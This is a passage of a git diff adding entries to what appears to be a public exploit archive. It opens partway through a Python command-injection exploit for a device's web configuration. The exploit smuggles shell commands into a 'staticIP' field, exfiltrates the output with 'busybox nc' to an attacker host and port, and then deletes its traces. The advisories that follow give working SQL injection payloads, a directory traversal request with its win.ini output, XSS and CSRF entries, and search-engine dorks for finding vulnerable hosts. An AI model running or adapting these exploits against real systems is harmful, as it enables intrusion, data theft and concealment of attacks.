+ if lhost and lport:
+ payload = (
+ "busybox nc {} {} < /data/local/tmp/rce.tmp ".format(
+ lhost, lport
+ )
+ )
+
+ logging.info("retrieving the results...")
+ send_payload(rhost, password, payload)
+
+ # Erase exploitation traces
+ payload = "rm -f /data/local/tmp/rce.tmp"
+
+ logging.info("erasing exploitation traces...")
+ send_payload(rhost, password, payload)
+
+ except KeyboardInterrupt:
+ logging.warning("'CTRL+C' pressed, exiting...")
+ sys.exit(0)
+
+
+def send_payload(rhost, password, payload):
+ URL = "http://{}/Config/service/saveData".format(rhost)
+
+ headers = {
+ "Content-Type": "application/json",
+ "X-Requested-With": "XMLHttpRequest",
+ "Referer": "http://{}/Config/config.html".format(rhost)
+ }
+
+ data = {
+ "m_networkCuration":
+ {
+ "ethernet":
+ {
+ "dhcp": False,
+ "staticIP": "; {}".format(payload),
+ "gateway": "",
+ "prefixLength": 24,
+ "dns1": "",
+ "dns2": ""
+ }
+ },
+ "password": "{}".format(password)
+ }
+
+ # Debugging using the BurpSuite
+ # proxies = {
+ # 'http': 'http://127.0.0.1:8080',
+ # 'https': 'https://127.0.0.1:8080'
+ # }
+
+ try:
+ logging.info("{}".format(payload))
+
+ response = requests.post(
+ URL,
+ headers=headers,
+ # proxies=proxies,
+ json=data
+ )
+
+ logging.debug(
+ "{}".format(response.json())
+ )
+
+ # Wait for the command to be executed
+ time.sleep(2)
+
+ except requests.exceptions.RequestException as ex:
+ logging.error("{}".format(ex))
+ sys.exit(0)
+
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/exploits/ashx/webapps/46765.txt b/exploits/ashx/webapps/46765.txt
new file mode 100644
index 000000000..f5b41caec
--- /dev/null
+++ b/exploits/ashx/webapps/46765.txt
@@ -0,0 +1,183 @@
+# Exploit Title: Veeam ONE Reporter - Cross-Site Request Forgery (All Actions/Methods)
+# Exploit Author: Seyed Sadegh Khatami
+# Website: https://www.cert.ir
+# Date: 2019-04-27
+# Google Dork: N/A
+# Vendor Homepage: https://www.veeam.com/
+# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
+# Version: 9.5.0.3201
+# Tested on: Windows Server 2016
+
+
+#exploit:
+
+
+
+
+
+##########################################
+#all methods is vulnerable
+##########################################
+#addDashboard(p)
+#addDashboardUser(par)
+#addDashboardUserList(par)
+#applySchedulingForDashboard(dashboardId, taskId, config)
+#applySchedulingForFolder(folderId, taskId, config)
+#applySchedulingForReport(reportId, taskId, vmr, config)
+#canModifyDashboard(id)
+#captureContainer(data, taskId)
+#changeObjectVisibility(objectId, visible)
+#checkForUpdateReportPack(confirm)
+#checkIfAdmin()
+#checkUserPermissionsResolved(o)
+#checkWinVersion()
+#clearContainer()
+#connectToSqlServer(data, save)
+#DBExecuteProcedure(db)
+#DBStoreLoad(db)
+#DBStoreSave(db)
+#deleteDashboard(id)
+#deleteDashboardImage(imageId)
+#deleteDashboardWidget(p)
+#DeleteFolder(param)
+#deleteReportPack(name, id, type)
+#deleteTask(id)
+#doLogin(domain, login, password)
+#editDashboard(p)
+#emptyDashboardRecycleBin(o)
+#findDashboardUsers(p)
+#getAboutData()
+#getActionParameters()
+#getAdvancedData()
+#getAlarms()
+#getAllSchedulingsForDashboard(info)
+#getAllSchedulingsForFolder(info)
+#getAllSchedulingsForReport(info)
+#getBackUpTree(wsj)
+#getBusinessViewTree(wsj)
+#getComboData()
+#getCommonGridItem()
+#getConfiguration()
+#getConfigurationOverview(id)
+#getConnectedServersGridItem()
+#getDashboardData(dashboard_id)
+#getDashboardImages(p)
+#getDashboardPermissions(p)
+#getDashboardPredefiniedReports(p)
+#getDashboards(p)
+#getDashboardSSRSChartTypes(p)
+#getDashboardUserList(p)
+#getDashboardWidgetTypeData(p)
+#getDefaultUserName()
+#getDeletedDashboards(p)
+#getEnumeratingTaskContainers(id)
+#getEnumeratingTaskProperties(id)
+#getEnumeratingTaskScheduling(id)
+#getExtensionModules(p)
+#getIgnoredDatastores(p)
+#getIgnoredDatastoresDetails(p)
+#getInfrastructureTree(wsj)
+#getIsReporterFreeVersion()
+#getJobData(id)
+#getLicenseData()
+#getLicensedHVSockets(p)
+#getLicensedVMSockets(p)
+#getMetadata(query, reload)
+#getNeedToDisableTabs()
+#getNotificationData()
+#getObjectsToHide(p)
+#getOptionList()
+#getReportFilters(param)
+#getReportImageName()
+#getReportListTreeCheckbox(wsj)
+#getReportListTreeDashboard(wsj)
+#getReportListTreeWorkspace(wsj)
+#getReportManagementTree(wsj)
+#getReportsSectionsTree(wsj)
+#getReportStatistics(param)
+#getScheduleDashboardConfig(dashboardId, taskId)
+#getScheduleFolderConfig(folderId, taskId)
+#getScheduleReportConfig(reportId, taskId, packType)
+#getScriptArgumentList()
+#getServerScopeAll(wsj)
+#getSessionDetails(idwithtype)
+#getSessions(p)
+#getSessionsTaskTypes(p)
+#getSiteStatusGridItem()
+#getSmtpServerData()
+#getSqlServerData()
+#getSsrsServerData()
+#getSSRSStatus()
+#getStartStopDeleteButtonsEnabled(id)
+#getStatistics()
+#getTaskList(p)
+#getUpdateSessionInfo(o)
+#getvCloudList(p)
+#getVideoReportData(interval, intervalPeriod, scope)
+#getVmStatus()
+#getWidgetCustomChartConstructorData(p)
+#getWidgetData(r)
+#getWidgetList(item)
+#getWidgetPackList(j)
+#getWidgetParams(uid)
+#getWorkspace()
+#getWorkspaceReportGridItems(param)
+#isSmtpConfigured()
+#publishDashboard(id, publish)
+#recalculateProjects(ids)
+#removeDashboardUser(par)
+#resetReportImageName()
+#resetSchedulingForDashboard(dashboardId, taskId)
+#resetSchedulingForDashboardArray(dashboardId, taskId)
+#resetSchedulingForFolder(folderId)
+#resetSchedulingForReport(reportId, vmr)
+#resetSchedulingTaskForFolder(folderId, taskId)
+#resetSchedulingTaskForReport(reportId, taskId, vmr)
+#resetSchedulingTasksForFolderArray(folderId, taskId)
+#resetSchedulingTasksForReportArray(reportId, taskId, vmr)
+#restoreDashboard(p)
+#revokeHost(hostName)
+#revokeHostHV(hostName)
+#SaveFolder(param)
+#saveIgnoredDatastores(taskContainerId, dataStores)
+#saveSchedulingInfo(taskId, taskProp)
+#saveTask(taskProp, taskContainers, excludes)
+#sendNotificationAboutDashboardSharing(to, subject, dashboardName, dashboardUrl, permissionLevel)
+#sendTestMessage(data, setting)
+#setAdvancedData(measure)
+#setComboData(data)
+#setDashboardUserPermissions(par)
+#setDashboardWidget(p)
+#SetDragAndDropPosition(dwid, colIndex, position, height)
+#setSchedulingEnability(dashboardId, taskId, disabled)
+#setSchedulingEnabilityArray(dashboardId, taskId, disabled)
+#setSchedulingEnabilityForFolder(folderId, taskId, disabled)
+#setSchedulingEnabilityForFolderArray(folderId, taskId, disabled)
+#setSchedulingEnabilityForReport(reportId, taskId, disabled)
+#setSchedulingEnabilityForReportArray(reportId, taskId, disabled)
+#setSmtpServerData(data)
+#setSsrsServerData(data)
+#startTask(id)
+#stopTask(id)
+#system.about()
+# Returns a summary about the server implementation for display purposes.
+#system.listMethods()
+# Returns an array of method names implemented by this service.
+#system.version()
+# Returns the version server implementation using the major, minor, build and revision format.
+#testServer(tcd)
+#testSsrsConnection(data)
+#updateDashboardPosition(p)
+#updateTreeExpandedStates(wsj, a)
+#validateTaskName(tcd, id)
+##########################################
\ No newline at end of file
diff --git a/exploits/ashx/webapps/46766.txt b/exploits/ashx/webapps/46766.txt
new file mode 100644
index 000000000..13e79ac54
--- /dev/null
+++ b/exploits/ashx/webapps/46766.txt
@@ -0,0 +1,18 @@
+# Exploit Title: Veeam ONE Reporter - Stored Cross-site Scripting (Stored XSS)
+# Exploit Author: Seyed Sadegh Khatami
+# Website: https://www.cert.ir
+# Date: 2019-04-27
+# Google Dork: N/A
+# Vendor Homepage: https://www.veeam.com/
+# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
+# Version: 9.5.0.3201
+# Tested on: Windows Server 2016
+
+
+#exploit:
+
+Path: /CommonDataHandlerReadOnly.ashx
+
+method: addDashboard / editDashboard
+
+SET Description(config) field to “AAAAAAA
”
\ No newline at end of file
diff --git a/exploits/ashx/webapps/46767.txt b/exploits/ashx/webapps/46767.txt
new file mode 100644
index 000000000..a5b0c6223
--- /dev/null
+++ b/exploits/ashx/webapps/46767.txt
@@ -0,0 +1,18 @@
+# Exploit Title: Veeam ONE Reporter - Stored Cross-site Scripting (Add/Edit Widget)
+# Exploit Author: Seyed Sadegh Khatami
+# Website: https://www.cert.ir
+# Date: 2019-04-27
+# Google Dork: N/A
+# Vendor Homepage: https://www.veeam.com/
+# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
+# Version: 9.5.0.3201
+# Tested on: Windows Server 2016
+
+
+#exploit:
+
+Path: /CommonDataHandlerReadOnly.ashx
+
+method: setDashboardWidget
+
+SET Caption field to “AAAAAAAA
”
\ No newline at end of file
diff --git a/exploits/asp/webapps/46799.txt b/exploits/asp/webapps/46799.txt
new file mode 100644
index 000000000..efa4deff1
--- /dev/null
+++ b/exploits/asp/webapps/46799.txt
@@ -0,0 +1,28 @@
+[+] Sql Injection on microASP (Portal+) CMS
+
+[+] Date: 05/05/2019
+
+[+] Risk: High
+
+[+] CWE Number : CWE-89
+
+[+] Author: Felipe Andrian Peixoto
+
+[+] Vendor Homepage: http://www.microasp.it/
+
+[+] Contact: felipe_andrian@hotmail.com
+
+[+] Tested on: Windows 7 and Gnu/Linux
+
+[+] Dork: inurl:"/pagina.phtml?explode_tree" // use your brain ;)
+
+[+] Exploit :
+
+ http://host/patch/pagina.phtml?explode_tree= [SQL Injection]
+
+[+] PoC :
+
+ https://server/pagina.phtml?explode_tree=-1'/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/ database()),0x3a7333783075))--+-
+ https://server/pagina.phtml?explode_tree=-1%27/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-
+
+[+] EOF
\ No newline at end of file
diff --git a/exploits/asp/webapps/47284.txt b/exploits/asp/webapps/47284.txt
new file mode 100644
index 000000000..de940b07c
--- /dev/null
+++ b/exploits/asp/webapps/47284.txt
@@ -0,0 +1,19 @@
+# Exploit Title: Web Wiz Forums 12.01 - 'PF' SQL Injection
+# Date: 2019-09-16
+# Exploit Author: n1x_ [MS-WEB]
+# Vendor Homepage: https://www.webwiz.net/web-wiz-forums/forum-downloads.htm
+# Version: 12.01
+# Tested on Windows
+
+# Vulnerable parameter: PF (member_profile.asp)
+# GET Request
+
+GET /member_profile.asp?PF=10' HTTP/1.1
+Host: host
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Cookie: wwf10lVisit=LV=2019%2D08%2D16+14%3A55%3A50; wwf10sID=SID=1784%2Da7facz6e8757e8ae7b746221064815; ASPSESSIONIDQACRQTCC=OKJNGKBDFFNFKFDJMFIFPBLD
+Connection: close
+Upgrade-Insecure-Requests: 1
\ No newline at end of file
diff --git a/exploits/asp/webapps/47666.txt b/exploits/asp/webapps/47666.txt
new file mode 100644
index 000000000..8eeca7b5f
--- /dev/null
+++ b/exploits/asp/webapps/47666.txt
@@ -0,0 +1,27 @@
+# Title: Crystal Live HTTP Server 6.01 - Directory Traversal
+# Date of found: 2019-11-17
+# Author: Numan Türle
+# Vendor Homepage: https://www.genivia.com/
+# Version : Crystal Quality 6.01.x.x
+# Software Link : https://www.crystalrs.com/crystal-quality-introduction/
+
+
+POC
+---------
+GET /../../../../../../../../../../../../windows/win.iniHTTP/1.1
+Host: 12.0.0.1
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
+Accept-Encoding: gzip, deflate
+Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
+Connection: close
+
+Response
+---------
+
+; for 16-bit app support
+[fonts]
+[extensions]
+[mci extensions]
+[files]
+[Mail]
+MAPI=1
\ No newline at end of file
diff --git a/exploits/asp/webapps/47789.txt b/exploits/asp/webapps/47789.txt
new file mode 100644
index 000000000..e828986d9
--- /dev/null
+++ b/exploits/asp/webapps/47789.txt
@@ -0,0 +1,22 @@
+# Exploit Title: Rumpus FTP Web File Manager 8.2.9.1 - Reflected Cross-Site Scripting
+# Google Dork: site:*.*.com "Web File Manager" inurl:?login=
+# Shodan Dork: Server: Rumpus
+# Date: 2019-12-14
+# Exploit Author: Harshit Shukla, Sudeepto Roy
+# Vendor Homepage: https://www.maxum.com/
+# Tested On: Windows & Mac
+# Version: 8.2.9.1
+# CVE: CVE-2019-19368
+
+Description:
+A reflected XSS was identified on the Login page of RUMPUS FTP Web File Manager.
+
+PoC:
+
+Payload: ?!'>